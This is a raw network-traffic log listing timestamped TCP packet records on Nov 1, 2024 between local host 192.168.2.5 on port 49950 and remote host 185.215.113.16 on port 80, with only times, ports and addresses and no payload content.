Nov 1, 2024 05:53:07.928859949 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.928916931 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.928929090 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.928941011 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.928951979 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.928977013 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:07.929013014 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.929024935 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.929034948 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.929045916 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.929059029 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:07.929197073 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:07.933901072 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.933912992 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.933923006 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.933976889 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:07.934000969 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.095038891 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.095052958 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.095098972 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.095134974 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.095146894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.095160007 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.095170021 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.095177889 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.095206022 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.095227957 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.095633984 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.095649958 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.095662117 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.095683098 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.095700979 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.095973015 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096015930 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096023083 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096035004 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096061945 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096065044 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096076012 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096086025 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096092939 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096112967 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096693039 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096718073 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096731901 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096733093 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096751928 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096769094 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096774101 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096785069 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096796036 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.096811056 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096820116 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.096843004 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.097671032 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.097681999 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.097692966 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.097728968 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.097764015 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.099966049 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.100025892 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.100027084 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.100066900 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.262859106 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.262885094 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.262897968 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.262912035 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.262923002 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.262928963 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.262958050 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.262978077 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.262989998 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.262991905 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263016939 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263020992 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263032913 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263037920 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263061047 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263072014 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263073921 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263091087 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263113022 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263128042 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263365030 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263406992 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263417006 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263418913 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263446093 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263457060 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263479948 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263493061 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263526917 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263539076 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263716936 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263729095 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263741016 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263758898 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263770103 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.263776064 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263776064 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.263808966 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264003992 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264055967 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264056921 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264070034 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264101028 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264117956 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264118910 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264132977 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264143944 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264156103 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264156103 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264169931 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264174938 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264197111 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264230013 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264547110 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264596939 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264615059 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264626980 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264636993 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264658928 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264673948 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264686108 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264687061 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264698029 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264709949 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264714956 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264722109 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.264734030 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.264760017 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.265182018 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265192986 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265204906 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265217066 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265224934 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.265258074 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.265425920 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265438080 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265450954 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265470982 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.265482903 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.265486956 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265499115 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265511036 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.265532017 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.265532970 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.265559912 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.267709017 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.267756939 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426404953 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426419973 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426466942 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426484108 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426487923 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426501036 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426520109 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426520109 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426533937 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426536083 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426548958 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426559925 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426562071 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426569939 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426598072 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426600933 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426608086 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426614046 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426625967 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426660061 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426685095 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426693916 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426721096 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426723957 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426743031 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426757097 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426764965 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426769018 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426776886 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426799059 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426805973 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.426973104 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426983118 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.426999092 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427009106 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427021027 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427025080 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427051067 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427061081 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427217960 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427237034 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427248001 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427263021 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427274942 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427300930 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427349091 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427359104 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427369118 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427381039 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427383900 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427395105 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427402973 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427440882 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427469969 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427479982 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427490950 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427510977 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427525997 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427555084 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427568913 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427578926 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427596092 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427608013 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427671909 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427711964 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427716017 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427723885 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427752018 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427758932 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427762985 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427767992 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427774906 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427787066 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427804947 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427815914 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427875042 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427911997 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427938938 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427963018 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.427982092 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.427994013 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.428227901 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.428245068 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.428262949 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.428272009 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.428273916 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.428287029 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.428289890 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.428297997 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.428304911 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.428334951 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.428334951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.428347111 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.428369045 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.428392887 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431634903 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431674957 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431708097 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431718111 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431727886 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431751966 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431747913 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431765079 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431777000 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431786060 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431788921 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431816101 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431818962 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431830883 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431840897 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431840897 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431853056 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431866884 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431871891 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431881905 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431891918 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431894064 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431905985 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431906939 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431920052 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431930065 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.431931973 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431958914 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.431971073 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432121038 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432154894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432163000 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432164907 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432190895 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432202101 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432224989 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432235956 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432246923 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432257891 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432265997 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432284117 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432286024 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432297945 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432312012 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432338953 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432343006 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432356119 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432368040 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432380915 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432419062 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432513952 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432549000 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432557106 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432560921 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432586908 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432600021 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432607889 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432632923 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432646036 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432648897 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432672024 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432672977 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432682991 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432692051 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432703018 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432709932 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432714939 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432723999 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432728052 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432739019 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432748079 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432750940 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.432777882 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.432809114 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.433002949 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.433013916 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.433029890 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.433039904 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.433041096 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.433057070 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.433058977 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.433068037 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.433082104 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.433105946 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590127945 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590152025 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590162039 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590213060 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590219021 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590233088 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590249062 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590257883 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590260029 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590271950 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590276003 CET	49950	80	192.168.2.5	185.215.113.16
